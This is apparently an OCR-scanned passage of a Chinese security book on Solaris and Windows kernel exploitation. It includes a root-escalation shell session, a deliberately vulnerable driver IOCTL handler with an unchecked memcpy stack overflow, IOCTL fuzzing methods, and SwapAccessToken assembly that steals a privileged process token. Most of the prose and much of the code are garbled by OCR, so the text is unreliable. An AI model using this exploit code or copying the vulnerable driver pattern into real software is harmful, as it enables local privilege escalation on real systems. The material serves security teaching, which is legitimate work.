static struct modlinkage modlinkage =

MODREV_1,
(void *) amodlmisc,
NULL

int _init(void)
{

int i;

if ((i = mod_install(&modlinkage))
//cmn_exr (CE_NOTE, **);
#ifdef _DEBUG
else
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cmn_err (CE_NOTE, installed )i
#endi f
i= g3mm3();
return i;

int _info(struct modinfo *modinfop)
{
return (mod_info (&modlinkage, modinfop));

int _fini(void)
{
int i;

if ((i = mod_remove(&modlinkage)) != 0)
//cmn_err (CE_NOTE, *not removed");

#ifdef DEBUG
else
cmn_erx (CE_NOTE, *removed");
#endif

return i;

}

WRARBRAT TR P BTG I, MR I RRIETH, (Rt, TRAT4M 50 64RL 132

fizSolaris WGt T R fishell A, BT 4% poigesiish.

make64 . sh

/opt/SUNWspro/bin/cc -xCC -g /no%float
-DUSE_KERNEL_UTILS -D_KERNEL -D_B64 moka.c

1d -o moka -r moka.o

Tm moka.o

mv moka 0064

gee -0 0000 sysfs_ex.c

/usr/ces/bin/strip 0000 0064

make32.sh

/opt/SUNWspro/bin/cc -xCC -g 1,nofloat h:
~DUSE_KERNEL_UTILS -D_KERNEL -D_B32 moka.c

1d -0 moka -r moka.o

rm moka.o

mv moka 0032

gee -0 0000 sysfs_ex.c

/usr/ces/bin/strip 0000 0032

26.2.3 {REIRNR (uia=0)

R — R A RS Solaris B (uid=0)e LRAE — FERM M SITEITH
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AR,
$ uname -a
SunOS slint 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
$ isainfo -b
64
s id
uid=1001(ser) gid=10(staff)
$ tar xf 0000.tar
$1s -1
total 180
drwxr-xr-x 6 ser staff 512 Mar 19 2002 0000
-ry-r--r-- 1 ser staff 90624 Aug 24 11:06 0000.tar
$ cd 0000
$ 1s
6 8 make. sh moka.c ©032-8 0064-7 0064-9
sysfs_ex.c
7 9 make32.sh  0032-7 0032-9 0064-8 0000
$ id
uid=1001(ser) gid=10(staff)
$ ./0000
$ id
uid=1001(ser) gid=10(staff) euid=0(root)
$ touch toor
$ 1s -1 toor
-rw-r--r-- 1 root staff 0 Aug 24 11:18 toor
s

AR (1) E32 BR64{ L IS olaris 7, 819 LIEAT. BUMEHEIMAR, ROTRAEE
JAfSolaris OS (1M12.68%2.5.1) EWIR, B, XEMAFREXERA, BRI, X
NG 2 D T DAE Solaris 2.5.112.6_F 4 TR

26.3 /N

AREEANAT BB 25T PRIV NI & PR O A
shellcodefl) AT 4K A, 7EOpenBSDRMEE, RATHIY TRAMZ . HE, HLEABIRM
PSR, T R ERAS H E  5Jy A GERAE «

AT ATLATFASFHRE B O RARAREY, SRR E R4, RATE ST WA
WEF k. RATHME, iR IR AN, 0 H RN REHMREREA®RT . ¥
LI E S T Se R ARG, TEASH IR Hovs @25 TR, WiikEne. 252 R BII i) SR AR oo
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W AEWindows A #%

A EHE T HIHFH Windows W ARG E fibug. BAVER KB A—TF AL

HORGRARGRIG, BR RS GRS LA AT LR P B Y e L —— R AR
IRSHVOF RIS o SeJEHs I TT LURFHRFALI . AT U P AR W e 2 i
HEH R BT

27.1 Windows W#ZER B E——F 8 % H5EY

WA, KT HW Windows W BAER AL IR K1 SN E L. BEGEEB N, fEBugtrag
Full Disclosure b B RFFENREAMIVE, B2l R & TR FUF B i BRI R T
AHAFAUE, R LATERE AR AR, EEAFEME. A RRRERNR, K Es
MREHI ] B RAPRAL, GIAADI K.

—RAEER, MWD RER A Ebug, B 5 PR RbughiLl, B9 ARSI R E
BRI, WERFM. S5 L, BN AR Sug (Bt MR . i
) fERGATT FERERHE, EA PN AR R 3 kbug M HR (BRIENR. BT,
HEATE) R WEMARERRER . ERERTY T, ARURE B Nbug B 28 O P
KREMEAR BRI

Bans, WEBHEZRIMTEREREE, ZRKAR? RIF R FHX SRR

O A RHIERRIETRES T . Windows Wi AR LR — M EAMBRT, A, (6t

Z:E*H‘igﬁlﬂ ABTEH T 18T b H 0 ¥ % SR AT LAY By RANEEAR S, Mark E.

David A. F MMi Windows Internals, Fourth Edition (Microsoft
Press, 2004) TRER—MEHIFHATISHS. Mot —LRELEPhrack ERFKTHA
P4 I 308 LA R 3K ¢ Rootkit.com. LI A7, 8L P B — L BB ) P 30 10 A0 PR ERL
T AT .

0 APRARARFEMRAEHERED, BEEFRT. ELEHER, MIEL
Ay 6 B FRURR 1 R E AR ARG, ZED7E B A Windows 45 B IXFE . AT, IBATZER
R AR HR AT AP ARE, MR i F B R BT RFTE FFRE
NG SR 1A B 5 5K A IN 45k 4" £ BB K 1 % % DDK (Driver Development Kit) f%1F, il
BRBREKAAE Y R8T RS WAT MBS FIFMFEIZIFH (peer review). HTLLL

27
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R, PRBERARTBR T HAER) B W .

0 EiEERMNERESHAERERMEMN. BT, —RNBLABHALRNF, BF
GERLES. IAMEED . PRI B A BRI R TR, AR IO B
FEREHE, IF A HAR R A SRR S PR N N R R R IEOR . X i
AR 2 A 4 T IR — YRR AL R Bt # 1) HL AR

27.2 Windows R4

FEBY R T IZATHI WindowsH AR —— R PRI B, CPUBIASIURIR
BIBATXBIRBER: ring 301, ring O WHBIR . B BB ARASIE T 2Ering 0, FTLA
BT LAV BT R RIS R . AR REAEE R, KR, BB U R R
% AT, RAM EARRAR N ERARE AR “Kiing 0”7, EHIIMB, R
TR B HITRAVOARS, TBER T 1 RA R

Windows 4 £ — 8 Fntoskrnl.exeZ W, RAFX A4 A fE LM AEPAE (Physical
Address Extension) K& AbFESCRFEMRTTH M. WHHETFLBERFMEA, 4 Windows
2003 % LARTAORR A b Rntldr . exe, 7EVista LR T winload.exe. ntoskrniiiiTBiERZM
B, BEEHNEEE NREE, BFEE, BRETERZETIFKME (Security Reference
Monitor). HABHITHAE, #WA DEESE (Window Manager) FIXfiE EI4144 (graphics primitive)
SRR AR A WA (RROU B BB RRIF) ST

KA RHAAXAIREE T RYOAEATR Y, REFFSRERNRFEREAERER
H, fimmE. AR BES, E-LREEFREREAFRHXR, AT RT WERA N
I AE. WindowsHH1RE BAWRSEFF, TOUH L& M RSTHEA T R ET (1]
X BRGNS, WSS RRE L5 = 7 R FF

M EE ! SR XA B ebught, T— X AMMINRA F thbug. REHSAH
A BT R GAMKBEHEA P ALRF, 2REREHK S BRI KR L
RO HEFREWAIS . B 25 WA RBE fak ey KRB, REZK R LE—
s, RAE, NGO A R R LB BRI T, 2SR5 A P BXK
Lo} RUEI TN

27.3 BRAZERIZRE

AEBRATIAR —L6 0 L P Bibug R, RATAERVERE], ARRATIHcds iR W B DR 2
FPHERACTH, XEE BB LT R — A . T XA E, RAVEARFEAME S HKbug,
BARMNELEA BRI A FMITRIL T . AEANAEG BT RMOARE.
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AEIR %

L AR R AR AR R LG, RGHDTM. AT HASbugh S, wit
REMNFH4G “AbHR” K “EA”  (Blue Screen Of Death, BSOD) . KAMAKETHS
AR X RiE,

4 AR (break) B, o RM ET NARBKE, TR BRBIFmib sk
Wy REA M EARE, AARDEBEHERLETHAEL, ekl eoeaaat
L.

I RARREBIRR A ERBIT X AR R, 4, BAEEM EAEEAS,
AREARZHBOFEH, TARTERAK. 5 —AFEAREHBOEL, TAKBE
2H.

2731 i

—LEAE P R LR AR RS I A S R RS A F R, B R T 3 2 LA
THIRAT

A H] PR P RcR S th 3 R R R « T LL ELAE RR E (Beti BB R
HAEAhKshellcode A BIARE T) BEiRREI bt XA EHBAMTFL: B—, shellcodeff K/
B, EARLR SRR R =, BH TR, shellcode™T LA FEMTEH,
AREEFY, BN HEE T EEA R R X R, Fb A2 23N AR R
W o

SRR Y, BATLAR HOAN. —RELRE Wh TEETEEAN, &
FRHTHET802. 110 MBS i BE OBkt %&Tﬂ'&aﬂﬁﬂlﬁﬁ HRZUAETF IR B X R A 1
HISCEE, ENIRELE Uninformed Journal ., RWhttp: org/? Ve

IGSHRIE

H Windows Server 2003 SP1 DDKRATIAZ, %1% S7EHFH& WK SNFLFFRIRIAIT IF /ashR
de AR, MRRGRIVE ST HBURB H, $4 4 bug Ky FE0XF7 (DRIVER_OVERRAN_
STACK_BUFFER), I HHIRAMBSOD. IX7E4 R LR TR, Fit, wmpeny g
b, FARTEDAUE, I5ARAMIA J050 A9RE Ak & R4 A 1

FFMA IR T IR A MIREM . RAE2TST P RAFMANFIESHFEFFRHE, Hobt, RS

Irp->Associatedlrp.SystemBuffer

AP OENMKRES T, SRR

irp: .DevicelI ntrol.

XA RO XA G R AR B AT AL TR . B A4 T BN, BANEA N AF
BRI, AR E T BATRAE SN G IX KR

typedef struct _MYSTRUCT
{

DWORD d1;
DWORD d2;
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DWORD d3;
DWORD d4;
} MYSTRUCT, *PMYSTRUCT;

NTSTATUS DriverDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP
€

PIO_STACK_LOCATION irpstack;

DWORD awInputBufferLength;
PVOID pvIoBuffer;

DWORD dwToControlCode;
NTSTATUS ntStatus;

MYSTRUCT myStruct;

ntStatus = STATUS_SUCCESS;

irpstack = IoGetCurrentIrpStackLocation(Irp);
pvIoBuffer = Irp->AssociatedIrp.SystemBuffer;
dwiInputBufferLength = irpstack-

Devi h
dwIoControlCode = irpstack-

.DeviceIoControl. IoControlCod:

switch (irpStack->MajorFunction)
{
case IRP_MJ_CREATE:

break;

case IRP_MJ_SHUTDOWN:
break;

case IRP_MJ_CLOS
break;

case IRP_MJ_DEVICE_CONTROL:
switch (dwIoControlCode)
case TOCTL_GSTEST_DOWORK:
if (GwInputBufferLength)
{

memcpy (&myStruct, pvIoBuffer,

dwInputBufferLength);
DoWork (&myStruct) ;
memcpy (Irp-
>AssociatedIrp , pvIoBuffer, h);

Irp->IoStatus.Information =
GwInputBufferLength;
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else

ntStatus =
STATUS_INVALID_PARAMETER;

)
break;

default:

ntStatus = STATUS_INVALID_PARAMETER;
break;

break;
}

Irp->IoStatus.Status = atStatus;
ToCompl (Irp, IO_NO_T )i
return ntStatus;

)
RACGIEA R B WepilogFi i, XA TS FF Q& M BRBULA /osiFlm), Wik, BRI

i BRI e cookielf1 i F2:
;o of call to ToCompl and epilog
L text:00011091 xor  dl, dl
_text:00011093 mov  ecx, eax
.text:00011095 call  ds:TofCompleteRequest
.text:0001109B xor  eax, eax
. text:0001109D pop  ebp
.text:0001109E retn 8

XARBOUR A T TocompleteRequest IR [, i 2k - MR AT B0 'S IKIARAF 1K) 15 [0 it
diky AXANBRRCHRIRPAT F A AR R o SR 88 IR XA R B = KRR, B
SEBRBEA Pl RecookiefR P e« RUBAEIX A BB TIRAE N T SUBE M9 ARADAT, TEHT4R i IF RIC 4R,
AR R T :

CHAR chBuffer(64];

strcpy(chBuffer, "This is a test");
DbgPrint (chBuffer) ;

; Di of call to IoCompl and epilog
- text:000110BF xor d1, a1

-text:000110C1 mov ecx, ebx
.text:000110C3 call  ds:IofCompleteRequest
-text:000110C9 mov. ecx, lebp-4]

. text:000110CC pop edi
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.text:000110CD pop esi
.text:000110CE xor eax, eax
- text:000110D0 pop ebx

. text:000110D1 call  sub_11199
. text:000110D6 leave
-text:000110D7 retn 8

; Stack cookie validation routine

.£ext:00011199 sub_11199 proc near ; CODE XREF:
.text:00011199 cmp ecx, BugCheckParameter2
.text:0001119F inz short loc_111aA
-text:000111A1 test  ecx, OFFFF0000h
.text:000111A7 jnz short loc_1112A
-text:000111a9 retn

/GSIXANEFEHE I FH (VR R W AR R P IO/ 2 R B MR . R /GshRic i
WA TR, X REBDBYTFRS, HBSWELTRHAERN, Hit, REDHR
E2LET

Ll UM PR B T AL AP L, 3% T B O T 17 2% 18 AR cookie I 373
ERWSI A1, MSDN ( 2. microsoft.com/en-US/library/8dbf701c.aspx) _Lxt A T3
N

R, W —RFFRE LV estiid, REMFEMEM T LA MDDK.

27.32 M

ARCLERRE R B, AR R L P BB, KX R ME— — R ATFT R
SoBeltff|Xcon 2005, Ehitp: ity.nl/Xcon2005/Xcon2005_SoBelt.pdfaf L4k
F)iX 4% 3 FE—— “How to exploit Windows Kernel memory pool”

CAH NEWEERILT ek . 47 A% Kaspersky Internet Security Suite FLAF{EIX T
OB -

idefense.com/ Inerabi i id=505.

SoBelt(fi i — N RIHRAAF, T IERGUR U0 H R RG4S BUBBUR, BAIHE
BEHEH 9 (chunk) ZJEEE - MEWMATE () B AERSCS A T RKiDebugRoutine (4
—AREALFRM TN R A H ARSI LN, XA RO, M RGO (M
TRARJE RS, ARATREA RAESEH, Boitid PRI T CURASAT I BIAL . AN, R4 e AU STIX
ANty BiIERGBBE, 7NN
27.33 REFSWIEMFER ML

I LI PO ARG R A AT LE AR AN FH P B iR g sl AT S 1 B0k S W %
2506 BLIRAE RE ML o 27X 2 7T LA Fl AR stttk B 4 AR 5 R 2] BERRAS R D 4 T
BT, FRRHXRAR ok B, A KB (7 BT LA AT R T .
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FIRAERBS H M AT BAEREIR 0 BAR, HHBCSE, fefni 8. A5,
Brati #AEAR RIBAT A IR A P BRI AR (bt JRAR (R AN B E
BOSRAE. MR, JEPRBER IR SOREHR U PR I R, R R, AR
FO P BERRERACAL X (KT L 30, TT A2 S A A2 U I L (ol AT (B R ),

BAH G Fbug T .
AT RS W B4 KB R P AR L, AR AT B‘Jﬁﬁﬁ%ﬂiﬂ!*ﬂ)&%lﬂﬁ E*‘KZ
Symantec. Trend Micro%—£k/~ Eﬁﬂr“d’u (p://www.idefense.comi P
17, idefense. ilities/di: 2id=469.

p
Mlcmsuﬁ Server Message Block Redlreclor YKE Rt 5 BB K Hdi: http:/labs.ide-

fense. 1d=408.

BAVEAEATE 15 T A A PRI S G BB

27.34 ZEMEKEH

TERAE LN IS SRR B 5 RV, AT eV D P RN R P U D WL 38 A B RS2 R
BRI KBROH T3 1 YR B R PP 8017 % BB ARA R A P TR & DARORL 2 A i 7 R G BRSPS L.
TE VP B PR VO AT VT 1 (14 T, B & MEXFEMIBI T . JH P BN AR
B HIBATLEOKIOPL (VO Privilege Level) Fo IXFEBRAT U V0% M £ 52 B0 NAFEUBL R
W, ERRRAFAE WAL B B i T AR ARV BN O o X4 AL RS FH SeTcbPrivilege i £2
Kit, EHIOPLIETIHI3%, B, e LBV VO, ik, M% H45LocalSystemA 47X 4
L

IS 6 ) AR P INTE A B R VO 1R T Uy el (R SR BRI o {E, o A B A P 2 7T L
TR A, T IXAN IR AR B R RATINFIOUTHE A, A AIXAMB Y INEA SR R W o
27.35 HEMMRBE

DRI 5 2 LAKERN 7 R P AN IR P HEAT A8 T R AR R A7 S A B s R
JPPERIIRP (V1 Request Packet) _E (b dEAREIRF . 1EV) 145 M1 P BERIC A TR RS, PORRER
(FFRAELAAER A, FIRE, 2 G EA BRI S PR, kA R/ B S5 A B

7EMOKB (Month of Kernel Bug) Jili], 17 A$4% T Wi Windows XP & LARIAA IR+ R
GEIRIE . (ERAGUIRIA /B L, BB AR, IXANK B AT LS BT
BB RS . X RN REE AR 2 WRRIE, B4 T8I R HBEN N
T RFEA B R AS N jects.info-pull. (OKB-06-11-2006.html

b, RAICLE R T WA RIFTEN SR, 9 F 0 P S AR d
CEE ) A3 I ——Windows 42 Y HIHLHIRN R 4 KB RL PV O R bR ES .

27.4 Windows R4tiRA
AFEIS, s BRI, A RIS, B0 S HIR A Windows A Berh O,
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FHEBATRBAL S 1 A LB, AR XA 8. 25— Wi BbughV i%:Mark Russinovich
FilBryce Cogswel KL% T REWARIE (validation) M. HTHRBERZ WAL ERTH
I, FRAFF XA AR BN

2741 HERRGERA

BT REMSVPRBURIE, GIITHF XM, YRR, RELZUEERZLEA MNP HR Y
BEIABHE. KB RO IR IFRA RS ORISRV Win32 APLEMERM, SR
kernel32.dl1. user.dl1Mgdi32.a11%8. AR Win32 APIRSFHEE AR REHA, B
A Fi Native APIHLAfI % B (Nt* o6 #(: CreatFile i i NtCreatFile: CreateThead il
NtCreateThead, ¥¥4F. Native APREHIERMIAY, SN TLEM A MR EBITCPUI S, M
TBEINBRR, — BB, SRITIRNE R BB, % EREnm
R SORE AT RSV AR .

Ntdll.d11858 T Native APIfIFI /X #5r . BATAT LA WinDbg#%3K [ Native APIfIME
B R4 (B [ Windows XP SP2):

kd> u ntdllINtCreateFile
ntdll!NtCreateFile:

7¢90d682 b825000000 mov eax, 0x25
7¢90d687 ba0003fe7f mov edx, (SharedUserData!SystemCallStub
(7££20300) }

7c90d68c ££12 call  dword ptr [edx]

7¢90d68e ¢22¢00 ret ox2c

AT IE @ fEox25BAEAX, KR FENECreateri 1eMMFHF I (numeric identifier). 3
FORAE— AL F 0x7FFE03 00 AL 1) B B BT, & AL T Shareduserpatey X HL .
SharedUserDateff —24JEH A MR, AitiARbughIRAN, RITEEF kLT, s
HEHE) L. W, {ETH WindowsHIB A, ShareduserDateffjHiht ¥ £0x7FFE0300, &
HATEITA R R b, KT8 Z . ERAVFMA — T systencallStub:

kd> u poi(SharedUserData!SystemCallStub)

ntdll!KiFastSystemCall:

7¢90eb8b 8bdd mov edx, esp
7c90eb8d 0£34 sysenter
7c90ebBE 90 nop

7¢90eb90 90 nop

7c90eb91 90 nop

7c90eb92 90 nop

7¢90eb93 90 nop

ntdll!KiFastSystemCallRet:
7¢90eb94 c3 ret

HeFREHRAFEEDX L, CPUM/TSYSENTER. SYSENTERSEIntel Pentium I1/% BA FAR A 4b 5238
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MRS, WLBGEISRENBMER. R R TAMDAER (KTRFILR) EMsyscair. 7
SYSENTERAISYSCALLIBLZ B, #fF REE T PATH T HOET BB A AR . TELFRER
EXFPESRS, Windows 200003 X AHLUHL.

— H sYSENTERBEHAT, FHIPI#FIMSR (Model Specific Register) SYSENTER_EIP_MSRETHE
REMIE. MSREBME R AN EA/72. W LUB S RousRFIWRMSRIT & 2 ST /5 . Xie
RAFIES, B R BEMring 0BT . #EWindows XPJ L LR L, SYSENTER_EIP_MSR (0x176)
W' AR FIKiFastCallEntryfi%l.

MR {ESYSENTERZ /G H74R 8| A 474k § R RAM M — 34, RAEZUR (ring) (RABJAZA
FRFIBAT) B L REHGR? LKA, CPURARRRHELHKO, &KX H4GB,
HREH0.

KiFastCallEntry il FiKiSystemService, X/ /4 Windows &b 2 o i 0x2E ff) i ¥ -
KiSystemServiced§ MEDXIK 6 Ml A MR LB R, ML RIFErax (REMA%
5 B, BATELFE SRR (service table) AT 4HIRE.

2742 WHARGEA

FHTEA TP BN AR RV DRI 1R 2 088 2 4b o AR REEMIFF R L AR
FEWAMR (dispatch) HUBLRARIERD, 2448, REWAASLENLMANSH. T
&, RS FH “HBR” BB —— U AT ER ARG, TR
{8, %47ESEH (Structured Exception Handler) B HIHIf %, ntoskrnlffith ™l LU THIASHI
18

ProbeForRead: IX/ER kY A P R Eph X R 7 SURAL ik 42 (e SLAK L P 8643, HLIE
HXFT .

ProbeForWrite: JX/ERHORY T P LA G K 75 FUM AL T kb 21 52 (9 Y P U 5
RAEH, HIEFNFT .

R RG5O B WA (TIRAE, IXRTT AR A X 4 th R Mark
Russinovich FBryce CogswellE 19964F AT (INtCrash T LB 7% E BIAL I FTREBI M . 55— AR
NtCrash?ENT 4.0/f1win32k. sys 364 T 13 MKW, 45, Russinovich’&Afi T NtCrashfi 2 —
A, Mbttp:// i 2.zipE AT BAREIE o

NtCrash24RF] T40% AN, FidiX KR fEntoskenl o JPARE ol LUMLARIA . BS,
WA AT RSN D MR RGP k. BARWindows WA AT BV — 2R 7RI 7T HE
R A ST AR, AR AR 1) 2 8 A R GV A (O R0AIE B, AR AT RS 95 TR
Th (BHISET LNF I 2 X T ARIH M.

5 =77 AR5 oA 7 4 i (9 KeAddSystemServiceTable APIHE [ c (/IR %5 % I ESSDT
(System Service Descriptor Table) HLREWAEMT. “F5)” M —ADHFIRE KL EEM P2, R
XD R BT, WAESSDTE M W -2, dpk@it, EEHNELRGEN, BT
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FKEIAL, TN #eki ServiceTable B IR ¥R . XRATRERVFE L AMRITE. rootkit

FIDRMA T #lxd B AV i, R LRSS AR RIOS T BEM FTR AT 0 7 k. 18R, ZEVF S 4

T, BEHFRE AT REUTEI BT, NI HBt# GG T 40 b TERE4REA
WA A A, Bt T LM BTG B 4. NiCrash2 3% 5 T !

KenoﬂNomn Personal Fnewau% 5 %3 :z;émﬁ {3k : hitp:/www.matousec.com/info/

jo-Multiple-i ion-of-hooked-SSDT-functions.php; hitp:/www.

matousec. i isori Multiple-i i idation-of-hooked-SSDT-functi

ons.php.

275 S5RERHEFER

F P 55 AR SRR RS A% L Bk V2 1A Win32 APIi $(DeviceToControl. 3X
AN BR AV P L A T B B AR th 8 X 7 9K 3H 72 F RIXTOCTL (/O ConTroL
code)e TOCTLIE—AKHEENBMMAE, A& T RARL, WROVIFE. BHURBAEBRE
R, WTHIR:
[Common |Device Type|Required Access|Custom|Function Code|Transfer Type]
16 1! 4 13 12¢-

2751 IOCTL 4

TFHEANHRIOCTL A

Q Gk AT LR E SRR XK (DDKSkSCH AR 2 —, BRI, i
WAEOXS000BA F CHTHiYIMNR, H16RL, tRRTAAS, BEEL, WBREHIIRTD.

Q S TAEVOTFBE S8 fo VFIRPAL 2 SKANFLFE , WK ) ) L4 s F P B R R 4T 7 8
TR AT AR . VF & SR F 41 8 XML B O PILE_ANY_ACCESS, FAVFATIXA
O 3 A 4D R N R BETOCTL o %6 W L4303 ok U ) BRL o 400 3 — 2%, il
FILE_READ_ACCESS.

0 B AIOCTLA /RN, (A AL, B4 B S TOCTLA G ZE A5 M B
£85, HUEDDKAYHI, N T-0x800MIH B IRH, JRAFIXARARIBRAE

O BB AT R B SRR AR A 2 DGR B MR . S ATRR BB
itz —.

O METHOD_BUFFERED: #{E RSO — A5 N AR FOEr XA K/ 4E5 T (non-paged)
FRAMINK . RTS8, VO eI MU EIIFARZ AT, /B LIRS0
WK KT, VO B 7EMREI R PARE B R BRAE I TEHR MR GG X 3L
BB SRR (DR X o

O METHOD_IN_DIRECTH{METHOD_OUT_DIRECT: HRff RYLAE M 77 HBIE M AT MIBI X o
IRJE BRI TR BI85 6 P9 77 T RIMDL. (Memory Descriptor List), JFtMDLAEi#4:

© AT AR, WERI UL, — T
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UREAR AR . HREDRR AR MDL VY [ 852 5T
U METHOE_NEITHER: RN HFL B i< (LT S LRI A/ MEB A KB R
o RATER IR T 48 bR SCHE AT M BRBDARFF A B XA B X
SIOCTLALEERR ¥4 K% WRIR I T .«
(1) f fiMETHOD_NETTHERIN ARAFG MKl X4 B S BUE R S M EMK .
() RRAEH I Rl S HAE R IR GBI T I BT, BRI TS
#FMETHOD_BUFFEREDR 15 4 X b X Huhk (9B0E. V52 X &7 (RA7FH P B et o4
IRMABBEA Y ER], —EER A IEATRAE

2752 R IOCTL LbIBF2FF F RIGRFG

FRIOCTLAL BAYF RIS R AN T ik, HTRAR U8

1. WSS

SERLAE RTS8 (BIAIDA Pro) BAIAEE (H4WinDbgiROllyDbg) I IKEHFLFF AT
AOHT, ATLAGARAS 55 S E AT RUMIOCTL . RAEOllyDbg N P B F iles, HEw
VLA s et B BRSO F R AR IE BN AP . AN TS 0 V4 W A S W http:/malwareanal-
ysis.com/C i i 7/02/15/18.aspx.

OllyDbg§ 5|7 FI L & B R ARIDLEH (Bliswitch) (KIfES). BKEhELFdispatchif $Ul
WG BALEFIOCTL fswitchi# Ao

WA AT RO 0 B LRSI BT R INIOCTL . LALERRYF AUREN, o] LA S
WERE]: EEE GRS, BTN F X K REAT IR I MTAOB AR B H
BREEM, THERNRER) .

2. RER®

ilid #EpeviceIocontrol Z Ji i lGetLastError, ¥4 al AT & R & B TIOCTL,
BRIOCTLA IEH B A B4 B P KA AR ER, BURBIOCTLE A #iALTE. i FR&XRIM
KRR ISRL, BRERFSHAK LR 1060, BT LABR MIOCTLIE vl fEAR 2 pesh o SEAF I idAL By
SHATHA LM, WTIHER SR, RELIUENBHAE R ToCreateDevice G
TR MR SR BRI ). AR )RR o AR R 2 AR A S 4 AU ITOCTL
BREIAT T o 8T REE BTSN ZE K, SRR 16 SRR R Dl O BOHS o

3. et R

SRS RAWENREN, Wid#iEpeviceroControl R#MAT. EANAMBAAE T A
B KI#)H, HSysinternals Process Explorer TR AT LMRAF S5 H5E « IXANHTEMILF A0, ARAMERT
LUHB3RA BAIOCTL CGRAFAE, it S, Rt A A BAED, i R IRE
RN K KD B — ST A OB 0 7R B RE S/ ) T A
iR FARE R R FH R PP £E ARA BT ) & H ITOCTL . BXBHR A B A Th A ) LA I T AR A VA 1
CRATREMKEA LR, plan, i F W IRRsh s B T T, ELURA NN R
REMMEND I0CTL#EE .
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12T ARREBHELAOA RFRIARLES BRI T i, EPTEARGBESIR
R GIOCTLI) RN, R R ko BB,

FAHEBEHEBA R BRI S HE B 1 B, B EAR KRS IR T BB P it
Lo HLAR A PRI ) P B A IB AT K Cacross structure) . IXAELHIEH G & 1811
PORRIRE, WA OOBE HORT R FEARMASRE, MG Hbugh . B0,
PR T g S B L IOCTL 3 DA% M SO AT IR SRR ALEE . SXEIT, 8 TR LA
ARTRELR, H 7B E T BRI %

27.6 MR B

Fit, ROCAHMHE TUHNEIIE, BT REAEBINRT W Ering ORLMEA AT .
B4, PR N AL RRNTE, ARHEAEAE R, Wit RIOFABHRIHE
FHCH AR, IR A RN 7T LU T 8 it Chttp://ww it.com).

A R ERM

B P EXARARA. HAPBRBETEY . EOHALARER, 2T R
ARAGHEIA T EFX. AEP #—dbughl AALARH, Hido, RRARMNGETX, T
ARG E100%6T K1t AN, —2REBRGFALAETREA —RGFMLE, T4
WA, YbugR THKALE (A AT, 7R T LS B AL,

R, HEABBXARLE. JLFEAAGHKY T, ARAREA R RLATALHE,
AT RY ZGAGR, E LTS IAATAE RRAIRGEI . o R R, 2§ Hbught
&, RETHREIP TR, RARAFETIEHER, LEIHRTITY LR,

27.6.1 RFFFERREE

XA B ARRAR T SRR R RO R4 F AOEARID R AT ARCR M), (XA AR
A A T AR TR o 9 TR BAR, RATVBFUE BT RER I U 1 2 R
Y7 4 MURAZ AT 5 H R0 5 SRR B (0 P P M S AL PR R o R AR A R Y EPRO-
CESsHiH B i TokenF BRI TN 2 o

HRFF T TR M0 AL, AR AR (0 MR [ R R AU B VT B 2 R BRATT
Fa RIS b B R . R TR, WRRANERRRLUE (E
Windows XP. 2003, 7EVista LPIDJE4, 7Windows 2000.1J28), &AM T HCPURFIM
it

RATARIR 1 F SR

(1) 3% MR EPROCESSZ5H) . EPROCESSHURAFZER A% (doubly linked list) &, Al
— BRI HIOFIRAE, RATLRFHIXA SR, NTTREBRATRBIN B (6. R
AR MEPROCESS 4 HAT LA ke IRBRAAMMRA WA RN LR, 3 HEH
WOAT, 8RR AT AR FH FS:[0x124 )46 3 0 *4 A 372 ) ETHREADS: #3X 3L, i AT AT LA
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ETHREADIR M B2 MIEPROCESSH I MIAL . AL, S0 RRAIR B RATEOREDZE L F 3@
RAEVMNAT, MAEAHHINET . Baraby Jack 2l il 3 n1 8 i psL r y
ProcessIalfjiitht, HERGMFWPIDILHE ., fh
StepIntoTheRing.pdf#] LA#£ #|Barnaby Jack ik & % (Remote ‘Windows Kernel Exploitaion, Step
into the Ring 0.

LEWindows XPRUAEIRA -, Fitt MY 75 4 Rt kavers ionBlock (— R SR ZHy,
OpcOde & Alex Tonescust /& it g, Jhttps://www.rootkit.com/newsread.php?newsid=153. ) 75k
PsActiveProcessHeadSfit (— /Mg MBS KL ITRED).

Q) BIBER, AT RLER EPROCES S B MIPID &5 BT MR H AOUERA B . JEd8 19
A H #yEPROCESSIRITREHR AN .

() WARAREIFIAPID, BAEUREPROCES S iTokendiH STHIB] H (1R, IEIELE AR RIH T .

@) AR MR CERYIES, RATXEIE T BAIErROCESS), BEAN.

A FEXAMR Windows XP SP2AE AR, TRAFH MBI 4 B4 & A 0 CRR MITB R 52
B

NTSTATUS SwapAccessToken (DWORD GwDstPid, DWORD dwSrcPid)

«

DWORD dwStartingEPROCESS = 0;
DWORD AwDstEPROCESS = 0;

DWORD dwSrcEPROCESS = 0;

DWORD dwRetValue = 0;

DWORD dwAct iveProcessLinksOffset = 0x88;

DWORD dwTokenOffset = 0xC8;

DWORD dwDelta = QwTo! t - inksOffset;

_asm
{
pushad
mov eax, fs:[0x124)
mov eax, [eax+0xd4]
add eax, dwActiveProcessLinksOffset
mov QuStartingEPROCESS, eax

CompareSrcPid:

mov ebx, [eax - 0x4)
cmp ebx, dwsrcPid

jne CompareDstPid

mov AwSrcEPROCESS, eax

CompareDstPid:
cmp ebx, AwDstPid

jne AreWeDone
mov dwDstEPROCESS, eax
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AreWeDone:

mov edx, AwDStEPROCESS

and edx, AwSICEPROCESS
test edx, edx

jne SwapToken

mov eax, [eax]

cmp eax, dwStartingEPROCESS
jne CompareSrcpid

mov dwRetValue, 0xC000000F
jmp WeAreDone

SwapToken:

mov eax, dwSrcEPROCESS
mov ecx, dwDelta

add eax, ecx

mov eax, [eax]

mov ebx, dwDStEPROCESS
mov [ebx + ecx], eax

WeAreDone:

popad
)

return dwRetValue;

)

BRATAT LUy AR o B2E, A XA A B G D AR (PR U AL
U LA U R LRI, AT AR A AT, URAVE RN, R,
WRBRAVI BN 1S MBI T (BATLLSE, MBI, SFEN AT SRR T,
WAt R St R BRATA S R R SR TAE, R0 R R 2Rt T
FUFAR QU — AR I 1 MR AT TR, (LX) M A MRS S B T
T H, SKAMEER 55— R, FoRocESSEMIBA SR, IR %2 LM REITAS
Moty Bm . FER A K Windows B, B FBIGHARMER, 1AM ERIOBBREN SR
L K REBRAARYE WindowsKRA B AR, 4R o AEAT AL A AR R RS Bt ISR BT
HEHGEAT .
27.6.2 ETIEEMAPEIHE

ARIFSAMUERL, RAINLNE F AL 2Ering OBBUTIRED . ¥4 KRS 1 HARAT R R )
PR, PR AT IO R PR CBIBNE / S 30HE . FTTFAERET4) MEENIR
RBWH SRR B R D, [ORIBGEEA, B PRI JE B LocalSystemig A7 3 A2 45
